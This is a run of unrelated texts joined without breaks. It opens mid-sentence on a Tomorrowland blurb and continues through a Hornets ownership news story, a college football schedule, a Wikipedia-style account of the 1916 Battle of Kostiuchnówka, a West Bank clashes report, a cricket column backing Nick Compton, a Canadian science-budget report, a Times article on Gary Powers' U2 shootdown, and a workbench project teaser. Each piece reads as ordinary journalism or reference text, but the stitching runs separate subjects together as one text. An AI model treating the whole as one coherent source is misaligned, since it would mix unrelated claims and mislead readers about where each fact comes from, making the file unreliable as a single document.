surrounding the film, but that's merely fuelled our interest. Brad Bird is, after all, the director behind such films as The Iron Giant, The Incredibles and 2011's hugely successful Misson: Impossible - Ghost Protocol. His presence alone makes this enigmatic science fiction project worth looking forward to. Our review of Tomorrowland is here. Want to buy any of these titles? Then check out our Top 25 Must-See Movies of 2014 AMAZON WISH-LIST we curated for you HERE.
A source close to Saints owner Tom Benson said Monday that Benson spoke with Commissioner David Stern, while league sources confirmed that Bhathal and Chouest, reported for the last month and a half to be the leading bidders for the league-owned franchise, were in New York for meetings with the NBA.
Bhathal, reportedly one of the largest swimwear manufacturers in the country, had been identified along with Larry Benson, a San Antonio car dealer and Tom Benson’s youngest brother, as part of a consortium which has been represented in negotiations by former NBA coach and executive Mike Dunleavy, as the group to which Stern referred to as being in the lead just prior to the February All-Star break.
Chouest, the one-time minority owner of the Hornets who had to give up his 35 percent stake in the club in December 2010 when the league purchased the team to prevent founding owner George Shinn from selling to someone who planned to move the franchise out of New Orleans, was acknowledged as a backup possibility.
Since then, however, sources indicated Chouest ultimately could be involved in the Bhathal partnership when the sale was consummated, potentially along with other local investors.
Tom Benson, according to one source, acknowledged he had put in a bid to purchase the Hornets when the solicitation process began earlier this year, but was put off by the league’s asking price.
The NBA paid about $318 million for the Hornets, and has since put more capital into the club. Sources have indicated the asking price for the team will be in the neighborhood of $340 million.
League bylaws apparently dictate that, in the event of a consortium of owners, the person who would assume “controlling interest” needs to own at least a 15 percent equity interest.
Most owners with “controlling interest” have a greater than 15 percent share of the teams they have acquired.
It is unclear whether Bhathal, Chouest and Benson would be part of the same ownership group or are bidding independently.
A regularly scheduled Board of Governors meeting is set for Thursday and Friday at the St. Regis Hotel in New York, and it had been hoped that Stern would present the other 29 governors with a proposed owner or group for the Hornets, that could be voted upon sometime during the course of the meetings.
On March 16, the Hornets and the state announced they had agreed in principle to an escape-proof lease extension that binds the team to New Orleans through 2024 – the current lease expires at the end of the 2013-14 season – contingent upon finding an owner and legislative approval of the capital outlay bill that would fund improvements to New Orleans Arena.
The nearly $50 million in improvements – about $40 million of which has to be approved by the legislature in the coming weeks, and another $10 million already in the hands of the Louisiana Stadium and Exposition District – will be made over the course of the next two offseasons to help the Hornets generate additional revenue over the course of the lease which will alleviate the burden of state subsidies in place in the current lease agreement if the team did not meet certain attendance and financial thresholds.
Sept. 3: No. 3 Oregon vs. No. 4 LSU in Arlington, Texas — This season opener will have an immediate impact on the national championship race.
Sept. 17: No. 1 Oklahoma at No. 5 Florida State — The Seminoles look for payback for last year's blowout loss in Norman.
Sept. 24: No. 8 Oklahoma State at No. 9 Texas A&M—Both schools have killer schedules, so the loser could become a nonfactor before October.
Oct. 1: No. 11 Nebraska at No. 10 Wisconsin — A showdown at Camp Randall in what could be a preview of the Big Ten's first championship game.
Oct. 1: No. 17 Michigan State at No. 16 Ohio State — A must-win scenario for the Spartans and the Buckeyes to remain relevant.
Nov. 5: No. 4 LSU at No. 2 Alabama—The winner probably takes the SEC West and becomes the conference favorite to reach the national title game.
Nov. 12: No. 3 Oregon at No. 6 Stanford — The loser could be bounced from the national championship race and/or the Rose Bowl in this Pacific-12 North donnybrook.
Nov. 12: No. 15 TCU at No. 7 Boise State — In the only season the teams will spend together in the Mountain West, the winner can remain in the championship conversation.
Nov. 12: No. 23 Florida at No. 12 South Carolina—With a schedule that dodges Alabama and LSU, Steve Spurrier's Gamecocks could get into national contention with a win.
Polish forces, numbering 5,500–7,300, faced Russian forces numbering over half of the 46th Corps of 26,000. The Polish forces were eventually forced to retreat, but delayed the Russians long enough for the other Austro-Hungarian units in the area to retreat in an organized manner. Polish casualties were approximately 2,000 fatalities and wounded. The battle is considered one of the largest and most vicious of those involving the Polish Legions in World War I.[3][4]
Background [ edit ]
In World War I, the partitioners of Poland fought each other, with the German Empire and Austro-Hungarian Empire aligned against the Russian Empire. The Polish Legions in Austro-Hungary were created by Józef Piłsudski in order to exploit these divisions, serving as one of his primary tools for restoring Polish independence.[5]
The Polish Legions first arrived in the vicinity of Kostiuchnówka during the advance of the Central Powers in the summer and autumn of 1915, taking Kostiuchnówka on September 27, 1915.[6] That autumn they experienced heavy fighting, with each side trying to take control of the region; a less known battle of Kostiuchnówka took place from November 3 to 10; the Russians managed to make some advances, taking the Polish Hill, but were expelled by the Polish forces on September 10.[4] Polish forces held Kostiuchnówka, and due to their successes in defending their positions, several landmarks in the Kostiuchnówka region became known as "Polish" (called such by Polish as well as by allied German-speaking troops): a key hill overlooking the area became the Polish Hill (Polish: Polska Góra), a nearby forest – the Polish Forest (Polski Lasek), a nearby bridge over the Garbach – the Polish Bridge (Polski Mostek), and the key fortified trench line – Piłsudski's Redoubt (Reduta Piłsudskiego).[6] Polish soldiers built several large wooden camps; the larger of which was known as Legionowo (where the Polish HQ was located).[4] During the preceding late autumn, winter and spring there were no major moves by either side, but this changed drastically with the launching of the Brusilov Offensive in June 1916.[6] It would be a major Russian victory, and the greatest of Austro-Hungarian defeats.[7]
Opposing forces [ edit ]
Facing the major Russian offensive, the II Brigade of the Polish Legions was deployed out of Kostiuchnówka, at Gruziatyn and Hołzula.[2] The I Brigade held the lines advancing down the Polish Hill, Kostiuchnówka village; the III Brigade, positioned to its left, held the lines near the Optowa village; the Piłsudski's Redoubt was the most advanced Polish position, just about 50 metres (164 ft) facing head on the most advanced Russian redoubt, called the "Eagle's Nest".[2] Further down the Polish Hill the Hungarian 128th Honvédség Brigade took positions opposite the Polish right flank, the Hungarian 11th Cavalry Division opposite the left flank.[2] Two Polish fall-back lines were drawn beyond the first line of defense: one drawn through the Polish Forest and the Engineer's Forest, and the second one through the villages of Nowe Kukle, Nowy Jastków, the camp of Legionowo and Nowa Rarańcza. The Polish Legions at Kostiuchnówka numbered from 5,500[1] to 7,300 (6,500 infantry and 800 cavalry), with forty-nine machine guns, fifteen mortars and twenty-six artillery units.[2] The Russian forces, composed of the most part of the 46th Corps (primarily the 110th and 77nd Infantry Division[clarification needed]), numbered 23,000 infantry, 3,000 cavalry and were backed up by a larger artillery force consisting of 120 units.[2]
The battle [ edit ]
Map of the battle
Starting on June 6, a major Russian push was directed against the 40 km line between Kołki and Kostiuchnówka,[4] with the aim of taking the position and then advancing towards Kovel.[2] With Polish legionnaires staying put and holding the ground, more Russian reinforcements were thrown in, while the battle of Kostiuchnówka had become one of the major struggles in the area during World War I.[2] Polish forces launched a counterattack, pushing back the Russians – who had not expected such a bold move – on the night of June 8 and 9.[2]
The major Russian push came on July 4, after a major artillery pre-emptive assault.[8] The advancing Russian infantry, numbering around 10,000, faced about 1,000 Polish troops in the front lines (the rest were held in reserve), but the Russians were stopped by heavy machine gun fire and forced to retreat.[8] The Hungarian forces at Polish Hill were pushed back, however, and the Russians advancing on the Poles' right flank, threatened to take the high ground in the area.[9] A counterattack by the Poles was not successful; as the Hungarian units were retreating, the Polish forces sustained very heavy losses and had to fall back either to the remaining part of the first defense line or, in the area of Polish Hill, to the second line.[9] Another Polish counterattack, launched during the night of July 4/5, was also beaten back.[9] Throughout the day, the Russian offensive managed to push the Polish forces further back; although the Poles managed to temporarily retake Polish Hill, a lack of support from the Hungarian forces once again tipped the battle towards the Russians, and even German reinforcements – deployed after Piłsudski sent a report to the army's headquarters about the possibility of a Russian breakthrough – failed to turn the tide away.[10] Eventually, on July 6, the Russian offensive forced the Central Powers' armies to retreat along the entire frontline; Polish forces were among the last to retreat,[10] having sustained approximately 2,000 casualties during the battle.[3]
Aftermath [ edit ]
Brusilov's offensive was stopped only in August 1916, with reinforcements from the Western Front. Despite being forced to retreat, the performance of the Polish forces impressed Austro-Hungarian and German commanders, and contributed to their decision to recreate some form of Polish statehood in order to boost the recruitment of Polish troops.[3] Their limited concessions, however, did not satisfy Piłsudski; in the aftermath of the Oath Crisis he was arrested and the Legions disbanded.[3]
The presence of Piłsudski, who would later become the dictator of Poland, during the battle, became a subject of several patriotic Polish paintings, including one by Leopold Gottlieb, then also a soldier of the Legions,[11] as well as of another painting by Stefan Garwatowski.[12] Wincenty Wodzinowski created a series of drawings and sketches on the dead and wounded from the battle.[12] During the Second Polish Republic, several monuments and a mound were raised nearby to commemorate the battle. A 16 m mound with a stone obelisk and a museum with two additional obelisks were raised during the years 1928–1933;[13] a military cemetery was also built.[10] They fell into disrepair during the rule of the Soviet Union (which often purposefully tried to erase traces of Polish history – the mound was for example lowered by 10 m). In recent years restoration work has taken place through various Polish-Ukrainian projects, with notable projects carried out by Polish boy scouts.[10][13]
The battle is considered one of the largest and most vicious of those involving the Polish Legions in World War I.[4] Piłsudski in his order of July 11, 1916 wrote that "the heaviest of our current fights took place in the recent days."[3]
Notes [ edit ]
References [ edit ]
In the northern West Bank city of Tulkarem, a 22-year-old Tamer Faraj Sammur was shot in the chest during clashes with Israeli forces, AFP reports. Hamas urged the West Bank residents on Friday to stage a “Day of Anger” protest across another Palestinian enclave.
An Israeli army spokeswoman said she was looking into the incident. Another 14 Palestinians were injured by live and rubber-coated bullets shot by the Israeli army as more than 3,000 Palestinians took part in the demonstration.
WARNING: GRAPHIC VIDEO
A rally near Ramallah witnessed 19-year-old Odai Nafez Jaber allegedly wounded by three live bullets. The teenager died in the hospital, Alternative Information Center reports. Palestinians clashed with Israeli forces outside Israel's Ofer military prison. Rioters hurled rocks and torched tires, as Israeli troops tried to block the march by firing tear gas and shooting at the protesters.
Meanwhile in Hebron, some 50,000 people were dispersed by the IDF who fired live ammunition into the crowd, according to organizers.
More than 90 Palestinians were injured in the clashes with Israeli forces Wilid Zaloum, director of Hebron Governmental Hospital, told Ma'an. Three of the Palestinians were critically injured, Zaloum said, others were in moderate condition after being shot in the lower extremities.
Over the last month, while media attention was mostly focused on the Israeli operation in Gaza, 11 Palestinians including a teenager were killed in the West Bank, AFP reports.
Alastair Cook and Moeen Ali look set to be parted when England arrive in South Africa © Getty Images
By the start of next season, there will be at least 13 men* - probably more - playing county cricket who have opened the batting for England in Tests. If you're trying to picture who they are, they can be recognised from the knowing looks they exchange with former Leeds managers as they pass on the road of broken dreams.
It now seems inevitable that, when Alastair Cook walks out to bat at Durban on Boxing Day, he will do so with his eighth opening partner since he last faced South Africa in Test cricket just over three years ago.
It is a statistic that symbolises the lack of progress England have made in the last few months. At the start of the year, we thought that England had discovered a new No. 3 in Gary Ballance. And we thought - maybe hoped is a better word - that Jos Buttler would develop into a Test-quality wicketkeeper batsman. Now both are gone, for how long it is hard to say, and the rebuilding process has returned to the foundation stage. England do not have a settled opener, a settled No. 3, a settled keeper or a spin option of which they are entirely confident.
Alastair Cook's Test opening partners since Andrew Strauss Player Innings together Partnership Runs Best Century stands Average Nick Compton 17 927 231 3 57.00 Moeen Ali 5 183 116 1 36.60 Sam Robson 11 355 66 0 32.29 Adam Lyth 13 402 177 1 30.90 Joe Root 10 266 68 0 26.60 Jonathan Trott 6 154 125 1 25.70 Michael Carberry 10 250 85 0 25.00
If that sounds a harsh assessment of the admirable determination they showed in the UAE, it is worth reflecting on who most impressed during the series. We knew Cook was a Test-class opener. We knew Joe Root was a fine young batsman. And we knew that, in Stuart Broad and James Anderson, England's new-ball attack was in safe hands. We have seen enough of Ben Stokes to know he is worth extended investment in the middle order.
Of the less established players, the players whose careers are in development, we saw some promising signs - most notably from James Taylor and Mark Wood - but not enough for any positions to be cemented for the longer term. In red-ball cricket, at least, it is hard to see progress from the start of the Trevor Bayliss era.
While some issues with the Test side - particularly the spin-bowling problem - may require a cultural change within English cricket to correct, some can be improved quite quickly. If, for example, England could find a reliable opening partner for Cook, many of the problems they have experienced with a middle-order too often exposed to the new ball and fresh bowlers could be resolved.
A recurring problem in England's recent cricket has been the loss of early wickets. At one stage during the Ashes, England had lost their third wicket with the score on 52 or fewer in eight of their previous 14 innings. They have been overly reliant on Root's excellence and their lower middle-order for too long. It is not a quicker start they require, but a more secure start.
Bayliss has said that there is "there's no one out there who's putting their hands up and saying, 'I'm definitely the player to pick'" as opener and it is true that, in the short term, that is a fair summary. Five top three batsmen from Division One passed 1000 runs in the Championship last summer - a decent effort bearing in mind the surfaces prevalent in county cricket at present - but none of them made more than three centuries.
Over the longer term, though, one man's statistics stand out quite sharply. Over the last five years, Nick Compton has averaged in excess of 50 batting in the top three in Division One of the County Championship. He has passed 1000 runs in four of those campaigns and missed it by 39 on the other occasion. Of all the realistic candidates (Ed Joyce and Chris Rogers are included in the table below as reference), his average in that period is somewhere between 10 and 12 higher. Compton is putting his hand up, all right, but it seems the selectors don't want to see him.
Nick Compton scored two hundreds but was discarded after nine Tests © Getty Images
There are always caveats to raw statistics. Compton has, it might be argued, played much of his cricket at Taunton which, if not the batting paradise it once was, remains a good deal easier than Chester-le-Street (where Compton scored an unbeaten century in 2014), for example. Equally, it might be argued that Compton has performed admirably to retain his performance level despite his palpable disappointment at his inability to fight his way back into Test contention. When batting takes as much out of you as it does Compton, the motivation offered by the possibility of higher honours is valuable. At times in the last couple of years, Compton has felt he is banging his head against a brick wall.
It is probably worth recounting the circumstances that led to Compton's dropping in 2013. Having taken a blow in the nets during the 2013 Headingley Test against New Zealand, Compton was sent for a scan and, while chatting to a doctor, was informed that he probably had a cracked rib. When the scans were analysed, however, he was shown to have suffered nothing more than deep bruising and it was alleged by the team management that he had shirked his fielding duties as he did not want to put himself in the firing line. Compton was offended - ironically he had played the previous Test with an undiagnosed broken finger - words were exchanged and he has never been selected since.
There were other issues. He failed to reach 20 in any of his last six Test innings and his average of 31.93 is modest. At the time there was momentum behind the idea that Root would develop into a Test opener and some thought that Compton's sedate approach would not complement a top three that also included the obdurate pair of Cook and Jonathan Trott. He was not afforded the patience that one or two of his successors have enjoyed.
England's apparent desire to find an aggressive foil to Cook is puzzling. In Cook they appear to have a perfect example of what is required: determination, patience, denial. So why look for something different? Their problem is not scoring too slowly, but being bowled out too fast.
Perhaps it was relevant, too, that a couple of senior players felt that Compton's public profile had exceeded his level of achievement. Perhaps the clique that Kevin Pietersen mentioned in his book never accepted Compton as they might have done.
But now, two-and-a-half years later, the world has changed. Various other openers have been tried and found, at least for now, wanting. The opening stands Cook enjoyed with Compton were better than those achieved by any of his successors. The management of the team has changed and the atmosphere appears more accepting. There is no reason Compton, the only one of Cook's partner's since Strauss to record two centuries as a Test opener, could not return. He is 32. He could have his best years ahead of him.
Bayliss, who has not had time to watch much county cricket but met Compton for a chat at the end of the season, may be missing a trick if he looks primarily at how many hundreds an opening batsmen scores in a season. A key role of any opening batsman is to see off the new ball, tire the bowlers and protect the middle-order. And in this area, in particular, Compton can have a role to play for England.
Statistics suggest that only Michael Carberry (38%), another who can count himself unfortunate to have experienced such a brief and desperately difficult spell as Test opener, was dismissed for a score under 25 less often (as a percentage) than Compton (45%) among leading opening batsmen in the 2015 Championship campaign. Mark Stoneman (46%), who is oddly unheralded as a candidate despite his record on tricky pitches, also scores well by such a mark. Neither, however, have scored so consistently heavily over five years as Compton.
By contrast, Sam Robson was dismissed 21 times in 31 innings (68%) for a total under 25. The percentage is similar for Alex Hales, Adam Lyth and Varun Chopra.
Dismissed before reaching 25 in 2015 Player First-class innings Dismissals for less than 25 Percentage Nick Compton 31 14 45% Sam Robson 31 21 68% Alex Hales 20 12 60% Chris Rogers 12 4 33% Michael Carberry 29 11 38% Varun Chopra 24 16 67% Adam Lyth 25 18 72% Mark Stoneman 35 16 46% Moeen Ali 19 7 37% Gary Ballance 21 13 62% Daniel Bell-Drummond 31 19 61% Ed Joyce 27 12 44%
Includes all first-class innings in England in 2015
If those stats look underwhelming, it should be accepted that even the best English opening batsmen fail almost half of the time. Of Geoff Boycott's 863 completed first-class innings, 401 (46%) were ended before he could reach 25; for Graham Gooch it was 413 out of 923 (45%) and Mike Atherton 277 out of 539 (51%). For Compton the career figure is 55%. He is no Boycott or Gooch but, to borrow a phrase from Moneyball, he gets off base more often than most. It is hard to think of anyone, Cook aside, who is better placed to see off the first assault from Dale Steyn, Morne Morkel et al.
Hales is the most likely candidate to replace Moeen Ali at the top of the order in South Africa and there is no doubt he is a hugely talented batsman. But Hales made two of his three Championship centuries in 2015 when coming in at No. 3 and still looks as if that would be his better position. It is asking a huge amount of him to start his Test career against one of the best new-ball attacks in the game.
England made a mistake discarding Compton too early. But the best thing to do if you're heading in the wrong direction is to turn around. In Compton they have a man well-suited to forcing bowlers into second and third spells, to taking the shine off the ball and to sheltering the middle-order from the attack at its most ferocious. If the squad to South Africa is selected entirely on merit, it is hard to ignore his claims for inclusion.
* Current players who have opened the batting in Test cricket for England: Alastair Cook, Rob Key, Marcus Trescothick, Ian Bell, Adam Lyth, Kevin Pietersen, Michael Carberry, Jonathan Trott, Nick Compton, Sam Robson, Moeen Ali, Joe Root, Jos Buttler
Championship averages 2011-15 (selected batsmen) Nick Compton Runs Innings Average Hundreds Fifties 2015 1123 29 38.72 2 6 2014 961 22 43.68 2 7 2013 1001 20 50.05 2 7 2012 1191 12 99.24 4 7 2011 1010 18 56.11 2 5 Last five years 5286 101 52.33 12 32
Sam Robson Runs Innings Average Hundreds Fifties 2015 891 29 30.72 1 4 2014 674 17 39.64 1 5 2013 1180 25 47.2 3 4 2012 697 26 26.8 0 4 2011 885 15 59 2 4 Last five years 4327 112 38.63 7 21
Alex Hales Runs Innings Average Hundreds Fifties 2015 892 18 49.55 3 2 2014 954 19 50.21 3 5 2013 251 18 13.94 0 2 2012 797 23 34.65 2 4 2011 1023 20 51.15 3 7 Last five years 3917 98 39.96 11 20
Chris Rogers Runs Innings Average Hundreds Fifties 2015 N/A N/A N/A N/A N/A 2014 1333 24 55.54 4 8 2013 1068 19 56.21 3 6 2012 1086 27 40.22 3 6 2011 1286 22 58.45 4 6 Last five years 4773 92 51.88 14 26
Michael Carberry Runs Innings Average Hundreds Fifties 2015 1129 29 38.93 0 10 2014 847 20 42.35 3 3 2013 687 16 42.93 1 5 2012 414 16 25.87 0 3 2011 793 14 56.64 3 1 Last five years 3870 95 40.73 7 22
Varun Chopra Runs Innings Average Hundreds Fifties 2015 658 24 27.41 2 2 2014 785 23 34.13 2 6 2013 1069 21 50.9 3 5 2012 1028 21 41.12 3 5 2011 1178 26 45.3 3 4 Last five years 4718 115 41.02 13 22
Adam Lyth Runs Innings Average Hundreds Fifties 2015 315 12 26.25 0 3 2014 1489 22 67.68 6 6 2013 730 23 31.73 1 4 2012 751 14 53.64 1 5 2011 553 21 26.33 0 6 Last five years 3838 92 41.71 8 24
Mark Stoneman Runs Innings Average Hundreds Fifties 2015 1090 32 42.86 3 5 2014 1004 28 35.85 3 4 2013 1011 29 34.86 3 6 2012 636 23 27.65 1 2 2011 418 8 52.25 1 3 Last five years 4159 120 34.65 11 20
Moeen Ali Runs Innings Average Hundreds Fifties 2015 227 7 32.42 0 2 2014 676 11 61.45 1 6 2013 1375 22 62.5 4 8 2012 652 25 26.08 0 4 2011 930 28 33.21 1 5 Last five years 3860 93 41.5 6 25
Gary Ballance Runs Innings Average Hundreds Fifties 2015 458 13 35.22 1 2 2014 585 9 65.00 2 3 2013 1251 20 62.55 5 6 2012 613 15 40.86 1 2 2011 717 17 42.17 1 8 Last five years 3624 74 48.97 10 21
Daniel Bell-Drummond Runs Innings Average Hundreds Fifties 2015 767 29 26.44 2 2 2014 955 25 38.20 2 6 2013 466 20 23.30 0 4 2012 33 2 16.50 0 0 2011 67 6 11.16 0 0 Last five years 2288 82 27.90 4 12
Ed Joyce Runs Innings Average Hundreds Fifties 2015 786 25 31.44 1 3 2014 1398 21 66.56 7 3 2013 1118 17 65.76 2 6 2012 829 21 39.47 2 5 2011 1269 28 45.32 2 9 Last five years 5400 112 48.21 14 26
George Dobell is a senior correspondent at ESPNcricinfo
And in a bit of déjà vu, today’s spending plan also resurrects several initiatives from the last budget a Liberal government presented, in 2005, before the Conservatives swept to power.
Liberal Prime Minister Justin Trudeau had promised “sunny days” for the nation after winning a general election last October, and today Finance Minister Bill Morneau laid out a host of scientific goodies. And Morneau vowed that more will follow in the months to come, as the Liberals “put forward a new Innovation agenda which will outline a new vision for Canada’s economy as a center of global innovation, renowned for its science, technology, resourceful citizens, and globally competitive companies.” Morneau also fired a parting shot across the bow of ex–Prime Minister Stephen Harper by declaring that the Liberals will promote “evidence-based policies.”
Back from the dead
To those ends, the Trudeau government will resurrect two initiatives killed by the Conservatives. The first, a “Post-Secondary Institutions Strategic Investment Fund,” will provide $1.53 billion over 3 years for universities and colleges to “modernize research labs, retrofit buildings used for advance training, and expand on-campus incubators that support start-ups as they grow their businesses.” Former Liberal Finance Minister Ralph Goodale had promised in 2005 to provide $766.22 million for institutions to renovate everything from libraries to access ramps for disabled students and electronic learning networks. The current Morneau plan proposes to cover 50% of the costs of retrofitting labs and research facilities.
Morneau also announced he is resurrecting Goodale’s $122.6 million plan to promote more university-industry linkages by way of “large-scale integrated facilities.” They would serve as sort of incubator-centers for startup companies, venture capitalists and business service providers located near a university or government research institute.
That initiative had been premised on former chief national scientist Arthur Carty’s belief that Canada needed to develop community-based “knowledge-based industrial clusters” to promote economic growth. Carty had served as the nation’s scientific policy guru from 2004 to 2008, but then Harper obliterated the position. (Last fall, Carty told the seventh annual Canadian Science Policy Conference that the Conservatives were essentially hillbillies who created such a lamentable state of science affairs that Trudeau would have to find “the courage and fortitude to carry through with promises to eradicate such in-bred behavior.”)
Morneau subscribed directly to Carty’s economic-development model, saying in his budget address that it is one that “Canada can and must build on. We believe that businesses, post-secondary institutions, governments and other stakeholders can work together to accelerate economic growth. We will invest $800 million [$612.98 million] over four years to support innovation networks and clusters designed to increase collaboration and create value through innovation.”
The outlays won’t start flowing until 2017–18, however, as the Liberals will take a year to flesh out their innovation agenda. That “plan for change” will, among other things, “assess opportunities to increase the impact of federal support on Canada’s research excellence and the benefits that flow from it” and “examine the rational for current targeting of granting councils’ funding and bring greater coherence to the diverse range of federal research and development priorities and funding instruments.”
Finance officials, who speak on condition of anonymity during the budget rollout—which is held in Ottawa in locked rooms—indicated that the plan will include the development of a “cluster mapping portal,” which will sketch regional economic strengths, as well as areas of business activity that can be directly aligned with local university capabilities.
Granting council increases
The planned granting council budget increases—$22.99 million for each of the Canadian Institutes of Health Research (CIHR) and the Natural Sciences and Engineering Research Council (NSERC), $12.26 million for the Social Sciences and Engineering Research Council (SSHRC)—will, in combination with deferred increases announced last year, result in the agencies receiving a combined $108.04 million in additional funding this year, after years of static or declining budgets. NSERC’s budget will rise to $865.83 million, CIHR’s to $789.21 million and SSHRC’s to $558.58 million. Support for the indirect costs of research within universities will rise by $14.56 million to $261.28 million annually.
The science spending, part of an effort to juice an economy that has stagnated because of a precipitous decline in commodity prices, particularly oil, also includes a promise to shell out $290.4 million over 4 years (commencing in 2017–18) to secure Canadian participation in the International Space Station through 2024.
Morneau also provided:
$181.75 million to Genome Canada to support the nonprofit agency’s regional genomics centers through 2019–20;
$7.66 million a year for 5 years in continuation funding for the Perimeter Institute for Theoretical Physics starting in 2017–18;
$10.73 million over 2 years to create 825 business internships and fellowships;
$15.32 million over 3 years in continuation funding for the Canada Brain Research Fund;
$38.31 million over 5 years to the National Optics Institute to provide R&D and technical support for businesses operating in the areas of optics and photonics; and
$9.19 million over 2 years for “research, training and outreach” activities at the Stem Cell Network.
The Stem Cell Network funding falls well short of the community’s call for a $383.11 million over 10 years federal contribution toward a $1.15 billion plan to “create a vibrant cell therapy and regenerative medicine industry and drive health care change.” Other community recommendations that the government didn’t fully follow included calls to establish a multi–billion dollar national dementia strategy and a stronger Canadian response to antibiotic resistance. It also didn’t follow a plan from a blue-ribbon commission chaired by former University of Toronto President David Naylor that urged the creation of a $766.22 million dollar Health Innovation Fund and a $766.22 million Healthcare Innovation Agency of Canada to “effect sustainable and systemic changes in the delivery of health services to Canadians.”
But the government did throw its financial muscle behind measures in support of its climate change agenda, including $1.532 billion over 2 years for initiatives that reduce greenhouse gas emissions, $99.61 million over 5 years for “clean technology research, development and demonstration activities,” and $15.32 million over 8 years to create two Canada Excellence Research Chairs in “clean and sustainable technology.” In another shot across the Conservative bow, Morneau provided $151.02 million over 5 years to reinvigorate ocean and freshwater sciences, including support for the Experimental Lakes Area, a freshwater research facility in northern Ontario whose $1.53 million per year appropriation that was axed by Harper in 2013.
The London Times
May 1, 2010
CIA documents show US never believed Gary Powers was shot down
Giles Whittell, Washington Correspondent
http://www.timesonline.co.uk/tol/news/world/us_and_americas/article7113512.ece
PHOTO
The legendary U.S. pilot Francis Gary Powers
Gary Powers in his pressure suit in front of his U2 spyplane. His mission was to fly for nine hours across the Soviet Union photographing suspected nuclear weapon sites and bomber landing fields
At 8.52 this morning a normally garrulous American is to observe a moment’s silence outside the Lubyanka, headquarters of what used to be the KGB in central Moscow. He will be there to honour the good name of his father, Francis Gary Powers, whose reputation has suffered for half a century by association with one of the most enduring mysteries of the Cold War.
Fifty years ago today, in a full-body pressure suit and helmet, Powers was slammed forward against the canopy of his U2 spyplane 70,000ft above central Russia by a Soviet surface-to-air missile exploding close behind him. The blast wave dismembered the plane, tearing off first its tail section and then its wings, but leaving its pilot miraculously unhurt.
In an outer pocket of his suit Powers carried a suicide pin that he chose not to use. He hit the ground in shock but with hardly a scratch. By that evening he was in Moscow, in the Lubyanka. The shooting down and survival of Powers changed the course of history: it wrecked a superpower summit at which President Eisenhower and Nikita Khrushchev, the Soviet Premier, had hoped to launch a new era of détente.
What was not known until the recent declassification of CIA documents seen by The Times, was that top US officials never believed Powers’ account of his fateful flight because it appeared to be directly contradicted by a report from the National Security Agency, the clandestine US network of codebreakers and listening posts.
The NSA report remains classified, possibly to spare the blushes of its authors. For it is now possible to piece together what really happened high over Sverdlovsk on May Day 1960 and to understand why America’s most secretive intelligence agency got it so wrong.
According to a summary presented this week by Matthew Aid, the world’s leading authority on the NSA, the agency’s report described Soviet military air traffic controllers as after an aircraft that — far from breaking up at close to 70,000ft as Powers later claimed — descended slowly from 65,000 to 34,000ft, changed course and disappeared from their radar screens. If true, this would have meant that Powers was at best a liar and conceivably a traitor. According to one rumour circulated without discouragement from the CIA after the shooting down, he descended to a safe height, baled out and spent his first night as a defector in a Sverdlovsk nightclub.
Newly released documents from a secret inquiry into his conduct carried out in 1962, by which time the CIA had swapped him for a Soviet spy and exhaustively debriefed him, show that some in the agency still believed that the Russians might have hypnotised, drugged or brainwashed him to force him to change his story.
The truth was less bizarre but no less remarkable. Powers took off from Peshawar in northern Pakistan after three tense days spent waiting for the weather along his route to clear. His mission was to fly for nine hours, on a breakfast of steak and eggs, directly over half a dozen of the Soviet Union’s most sensitive nuclear sites, photographing them and landing hundreds of miles north of the Arctic Circle on the Norwegian coast. Within minutes the entire Soviet Air Defence system was being mobilised on an order from Mr Khrushchev to bring him down at any cost. Captain Mikhail Voronov, commander of a missile battalion south of Sverdlovsk (now Yekaterinburg), was woken by an alarm at 7am.
“At first I thought it was a drill,” he said in an interview at his home on the Black Sea. “It was not a drill. I was planning to walk over from the barracks to give my soldiers their traditional May Day congratulations. Instead I ran. We all ran. We rushed to our positions and when we got there I told my commander that my battalion was ready to fire.” At about 8.45am Powers appeared as a dot on Captain Voronov’s radar screen. A single rocket was launched and minutes later the screen appeared to indicate a direct hit. Yet Captain Voronov could not be sure. He did not report it until word reached his control cabin half an hour later that a pilot had fallen to earth nearby under a parachute.
It is now clear that in that half hour, with the U2 already strewn across the Russian countryside, two Soviet MiG pilots circling over Sverdlovsk were ordered to intercept and ram, if necessary. One of them, Lieutenant Sergei Safronov, was hit by a stray rocket from another battalion. He baled out, dying of his injuries on the way down, but the radar trace created by his plane closely matched the one described by NSA. The agency almost certainly mistook Lieutenant Safronov for Powers. Mr Aid said this week that the NSA misread its own vaunted signals intelligence. The agency has never conceded anything. In the absence of hard evidence from independent witnesses about what happened to
Powers’ U2, conspiracy theories have sprouted like weeds. According to one, crucial information on his flight was passed in advance to Soviet intelligence by Lee Harvey Oswald, President Kennedy’s assassin and a former junior radar operator at a U2 base in Japan. In another, advanced by James Nathan of the University of Alabama, Powers was either a pawn or an accomplice in a US plot to derail détente. Last month Professor Nathan said that he still believed the entire affair was cooked.
Yesterday, in Moscow, Gary Powers Jr said that it had taken the US Government 40 years to set the record straight about his father. He was being generous. It has taken 50, and the record still has kinks in it.
Giles Whittell is Washington Correspondent and the author of Bridge of Spies, an account of the U2 affair and the spy swap that followed it, published later this year.
The man behind the story
• Francis Gary Powers, born in Jenkins, Kentucky in 1929, was a combat pilot in the 468th Strategic Fighter Squadron. He was a veteran of covert aerial reconnaissance missions
• After the U2 incident he served 18 months of a ten-year sentence handed down by a Soviet military tribunal in 1960 in a prison about 160 kilometres east of Moscow
• He was released in exchange for the Russian spy known as Colonel Rudolph Abel
• When he returned to the US, Powers worked initially as a test pilot before becoming a helicopter pilot for a Los Angeles television station. He died in August 1977 when his helicopter ran out of fuel
Power Tool Friendly Bench
by Richard Tendick
Innovative features such as a lever-operated mobile base and dual-height pullout tool platforms give this bench a five-star rating, especially if you have to share your shop space with cars and other vehicles in a garage.
The mobile base works just like a floor jack, so you can easily move the bench from the middle of the shop to store it against the wall. Th e tool platforms allow you to pull out stored benchtop
machines and raise them to operating position—flush with the top of the bench—in seconds.
The benchtop houses a power strip, so you don’t have to fish for extension cords to plug in portable
power tools. The top is long enough to mount a vise at one end
and a router at the other.
Simple construction methods make this bench doable for most woodworkers. You’ll need four sheets of plywood, a hollow core door and some hardware. You can get these materials
at any home center.
The bench’s modular design is easy to modify to fit your space or tools. Shorten the top, for example, or install drawers or shelves on one side of the cabinet or forgo the tool platforms entirely and just build the bench. Whether you build the Cadillac version shown here or an economy model, this bench is sure to enhance your woodworking.
For the rest of the article, including project drawings and sources, download this PDF:
AW_PTFBench
For more from American Woodworker, get the DVD with all issues (1985-2014). For more on workbenches, read Christoper Schawrz’s “Workbenches: From Design & Theory to Construction & Use” (revised edition) and “The Workbench Design Book.”
